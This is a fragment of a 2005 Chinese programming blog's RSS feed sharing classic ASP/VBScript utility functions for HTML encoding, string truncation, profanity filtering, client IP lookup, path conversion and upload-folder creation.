&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RegX.Pattern&nbsp; =&nbsp; &#34;(　|~|～|`|｀)&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HtmCode&nbsp; =&nbsp; RegX.Replace(HtmCode,&nbsp; &#34;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; RegX=Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FormatHTML&nbsp; =&nbsp; CutStr(HtmCode,HtmLen)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FormatHTML&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓过滤HTML左右标签<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; UnHTML(Code)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UnHTML&nbsp; =&nbsp; RTrim(Code)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; UnHTML&lt;&gt;Empty&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UnHTML=Replace(UnHTML,&#34;&lt;&#34;,&#34;&amp;lt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UnHTML=Replace(UnHTML,&#34;&gt;&#34;,&#34;&amp;gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓截取字符串特定长度<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; CutStr(Str,StrLen)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CutStr&nbsp; =&nbsp; Trim(Str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(CutStr)&gt;=StrLen&nbsp; Then&nbsp; CutStr=Left(CutStr,StrLen-1)&amp;&#34;...&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓转换数据库数据为发布时的格式<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; HTMLEncode(str)&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Isnull(str)&nbsp; then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,CHR(38),&#34;&amp;amp;&#34;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,CHR(32),&#34;&amp;nbsp;&nbsp; &#34;)&nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;nbsp;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,CHR(39),&#34;&amp;#39;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,CHR(36),&#34;&amp;#36;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&nbsp; CHR(34),&#34;&amp;#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&#34;&gt;&#34;,&#34;&amp;gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&#34;&lt;&#34;,&#34;&amp;lt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&nbsp; CHR(13),&nbsp; &#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&nbsp; CHR(9),&nbsp; &#34;&amp;nbsp;&nbsp; &amp;nbsp;&nbsp; &amp;nbsp;&nbsp; &amp;nbsp;&nbsp; &#34;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;TAB<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&nbsp; CHR(10)&nbsp; &amp;&nbsp; CHR(10),&nbsp; &#34;&lt;/P&gt;&lt;P&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; =&nbsp; Replace(str,&nbsp; CHR(10),&nbsp; &#34;&lt;BR&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HTMLEncode&nbsp; =&nbsp; str<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓简化条件判断<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; IIf(ByVal&nbsp; blnBool,ByVal&nbsp; strStr1,ByVal&nbsp; strStr2)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; blnBool&nbsp; Then&nbsp; IIf=strStr1&nbsp; &nbsp; &nbsp; &nbsp; Else&nbsp; IIf=strStr2&nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;&#39;----------------------------------------------------------------↓通过时返回用户名，否则返回为空,传参过虑为Chr1|Chr2|Chr3<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; IsPass(ByVal&nbsp; str,ByVal&nbsp; arr)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; s,arrChr,i<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s=str<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arrChr=Split(arr,&#34;|&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; For&nbsp; i=0&nbsp; to&nbsp; Ubound(arrChr)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Instr(s,arrChr(i))&gt;0&nbsp; Then&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ispass=&#34;&#34;&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IsPass=s<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> %&gt;<BR> [/Code]]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=207</link>
      <title><![CDATA[我的实用代码收集～]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-8-18 10:36:11</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=207</guid>
      <comments>
              /Blog/Blog.aspx?Id=207#commentbox
            </comments>
      <description><![CDATA[[code]&lt;%<BR> dim&nbsp; BadWords<BR> BadWords=&#34;考,Fuck&#34;</P><P> <BR> &nbsp; &nbsp; &nbsp; &nbsp; &#39;用于信息过滤<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; HTMLEncode(strFilter)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Not&nbsp; IsNull(strFilter)&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; replace(strFilter,&nbsp; &#34;&gt;&#34;,&nbsp; &#34;&amp;gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; replace(strFilter,&nbsp; &#34;&lt;&#34;,&nbsp; &#34;&amp;lt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(32),&nbsp; &#34;&nbsp; &#34;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;nbsp;<div class='code'>&lt;%<BR> dim&nbsp; BadWords<BR> BadWords=&#34;考,Fuck&#34;</P><P> <BR> &nbsp; &nbsp; &nbsp; &nbsp; &#39;用于信息过滤<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; HTMLEncode(strFilter)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Not&nbsp; IsNull(strFilter)&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; replace(strFilter,&nbsp; &#34;&gt;&#34;,&nbsp; &#34;&amp;gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; replace(strFilter,&nbsp; &#34;&lt;&#34;,&nbsp; &#34;&amp;lt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(32),&nbsp; &#34;&nbsp; &#34;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;nbsp;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(9),&nbsp; &#34;&nbsp; &#34;)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&amp;nbsp;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(34),&nbsp; &#34;&amp;quot;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(39),&nbsp; &#34;&amp;#39;&#34;)&nbsp; &nbsp; &nbsp; &nbsp; &#39;单引号过滤<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(13),&nbsp; &#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(10)&nbsp; &amp;&nbsp; CHR(10),&nbsp; &#34;&lt;/P&gt;&lt;P&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strFilter&nbsp; =&nbsp; Replace(strFilter,&nbsp; CHR(10),&nbsp; &#34;&lt;BR&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;strFilter=ChkBadWords(strFilter)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HTMLEncode&nbsp; =&nbsp; strFilter<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;脏话过虑<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; ChkBadWords(strBad)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; IsNull(strBad)&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; i<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BadWords=split(BadWords,&#34;,&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; For&nbsp; i&nbsp; =&nbsp; 0&nbsp; To&nbsp; UBound(BadWords)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; InStr(strBad,BadWords(i))&gt;0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strBad&nbsp; =&nbsp; Replace(strBad,BadWords(i),&#34;***&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ChkBadWords&nbsp; =&nbsp; strBad<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 获得用户真实IP<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; RealIP()&nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RealIP=Request.ServerVariables(&#34;http_x_forwarded_for&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; RealIP=&#34;&#34;&nbsp; or&nbsp; Isnull(RealIP)&nbsp; then&nbsp; &nbsp; &nbsp; &nbsp; RealIP=Request.ServerVariables(&#34;remote_addr&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> &nbsp; &nbsp; &nbsp; &nbsp; &#39;检验字符串<BR> &nbsp; &nbsp; &nbsp; &nbsp; Public&nbsp; Function&nbsp; Checkstr(Str)&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Isnull(Str)&nbsp; Then&nbsp; &nbsp; CheckStr&nbsp; =&nbsp; &#34;&#34;&nbsp; :Exit&nbsp; Function&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,Chr(0),&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CheckStr&nbsp; =&nbsp; Replace(Str,&#34;&#39;&#34;,&#34;&#39;&#39;&#34;)<BR> &nbsp; &nbsp; &nbsp; End&nbsp; Function</P><P> %&gt;</P><P> <BR> ==============================================</P><P> <BR> &lt;%</P><P> <BR> Function&nbsp; strLen(Str)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 获得字符串的长度,&nbsp; 配合下面的CutStr(Str,LenNum)<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Trim(Str)=&#34;&#34;&nbsp; Or&nbsp; IsNull(str)&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; P_len,x<BR> &nbsp; &nbsp; &nbsp; &nbsp; P_len=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; StrLen=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; P_len=Len(Trim(Str))<BR> &nbsp; &nbsp; &nbsp; &nbsp; For&nbsp; x=1&nbsp; To&nbsp; P_len<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Asc(Mid(Str,x,1))&lt;0&nbsp; Then&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; Asc&nbsp; 返回与字符串的第一个字母对应的&nbsp; ANSI&nbsp; 字符代码<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrLen=Int(StrLen)&nbsp; +&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrLen=Int(StrLen)&nbsp; +&nbsp; 1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; Next<BR> End&nbsp; Function</P><P> Function&nbsp; CutStr(Str,LenNum)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 截取相应的字符串<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; P_num<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; I,X<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; StrLen(Str)&lt;=LenNum&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Cutstr=Str<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do&nbsp; While&nbsp; Not&nbsp; P_num&nbsp; &gt;&nbsp; LenNum-2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X=X+1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Asc(Mid(Str,X,1))&lt;0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=Int(P_num)&nbsp; +&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=Int(P_num)&nbsp; +&nbsp; 1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Cutstr=Left(Trim(Str),X)&amp;&#34;...&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Loop<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Function</P><P> <BR> %&gt;</P><P> <BR> &lt;%</P><P> &#39;================================================<BR> &#39;&nbsp; 函数名：RelativePath2RootPath<BR> &#39;&nbsp; 作&nbsp; &nbsp; 用：转为根路径格式<BR> &#39;&nbsp; 参&nbsp; &nbsp; 数：url&nbsp; ----原URL<BR> &#39;&nbsp; 返回值：转换后的URL<BR> &#39;================================================<BR> Function&nbsp; RelativePath2RootPath(url)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; sTempUrl<BR> &nbsp; &nbsp; &nbsp; &nbsp; sTempUrl&nbsp; =&nbsp; url<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Left(sTempUrl,&nbsp; 1)&nbsp; =&nbsp; &#34;/&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RelativePath2RootPath&nbsp; =&nbsp; sTempUrl<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If</P><P> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; sFilePath<BR> &nbsp; &nbsp; &nbsp; &nbsp; sFilePath&nbsp; =&nbsp; Request.ServerVariables(&#34;SCRIPT_NAME&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; sFilePath&nbsp; =&nbsp; Left(sFilePath,&nbsp; InstrRev(sFilePath,&nbsp; &#34;/&#34;)&nbsp; -&nbsp; 1)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Do&nbsp; While&nbsp; Left(sTempUrl,&nbsp; 3)&nbsp; =&nbsp; &#34;../&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sTempUrl&nbsp; =&nbsp; Mid(sTempUrl,&nbsp; 4)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sFilePath&nbsp; =&nbsp; Left(sFilePath,&nbsp; InstrRev(sFilePath,&nbsp; &#34;/&#34;)&nbsp; -&nbsp; 1)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Loop<BR> &nbsp; &nbsp; &nbsp; &nbsp; RelativePath2RootPath&nbsp; =&nbsp; sFilePath&nbsp; &amp;&nbsp; &#34;/&#34;&nbsp; &amp;&nbsp; sTempUrl<BR> End&nbsp; Function<BR> &#39;================================================<BR> &#39;&nbsp; 函数名：RootPath2DomainPath<BR> &#39;&nbsp; 作&nbsp; &nbsp; 用：根路径转为带域名全路径格式<BR> &#39;&nbsp; 参&nbsp; &nbsp; 数：url&nbsp; ----原URL<BR> &#39;&nbsp; 返回值：转换后的URL<BR> &#39;================================================<BR> Function&nbsp; RootPath2DomainPath(url)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; sHost,&nbsp; sPort<BR> &nbsp; &nbsp; &nbsp; &nbsp; sHost&nbsp; =&nbsp; Split(LCase(Request.ServerVariables(&#34;SERVER_PROTOCOL&#34;)),&nbsp; &#34;/&#34;)(0)&nbsp; &amp;&nbsp; &#34;://&#34;&nbsp; &amp;&nbsp; Request.ServerVariables(&#34;HTTP_HOST&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; sPort&nbsp; =&nbsp; Request.ServerVariables(&#34;SERVER_PORT&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; sPort&nbsp; &lt;&gt;&nbsp; &#34;80&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sHost&nbsp; =&nbsp; sHost&nbsp; &amp;&nbsp; &#34;:&#34;&nbsp; &amp;&nbsp; sPort<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; RootPath2DomainPath&nbsp; =&nbsp; sHost&nbsp; &amp;&nbsp; url<BR> End&nbsp; Function<BR> &#39;================================================<BR> &#39;&nbsp; 函数名：CreatePath&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 必须有FSO<BR> &#39;&nbsp; 作&nbsp; &nbsp; 用：CreatePath(&#34;UploadImg\&#34;)&nbsp; 按月份自动创建文件夹<BR> &#39;&nbsp; 参&nbsp; &nbsp; 数：fromPath&nbsp; ----原文件夹路径<BR> &#39;================================================</P><P> Function&nbsp; CreatePath(fromPath)<BR> &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; objFso,uploadpath<BR> &nbsp; &nbsp; &nbsp; &nbsp; uploadpath&nbsp; =&nbsp; Year(Now)&nbsp; &amp;&nbsp; &#34;-&#34;&nbsp; &amp;&nbsp; Month(Now)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;以年月创建上传文件夹，格式：2005-8<BR> &nbsp; &nbsp; &nbsp; &nbsp; On&nbsp; Error&nbsp; Resume&nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; objFso&nbsp; =&nbsp; CreateObject(&#34;Scripting.FileSystemObject&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; objFso.FolderExists(Server.MapPath(fromPath&nbsp; &amp;&nbsp; uploadpath))&nbsp; =&nbsp; False&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objFSO.CreateFolder&nbsp; Server.MapPath(fromPath&nbsp; &amp;&nbsp; uploadpath)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Err.Number&nbsp; =&nbsp; 0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CreatePath&nbsp; =fromPath&nbsp; &amp;&nbsp; uploadpath&nbsp; &amp;&nbsp; 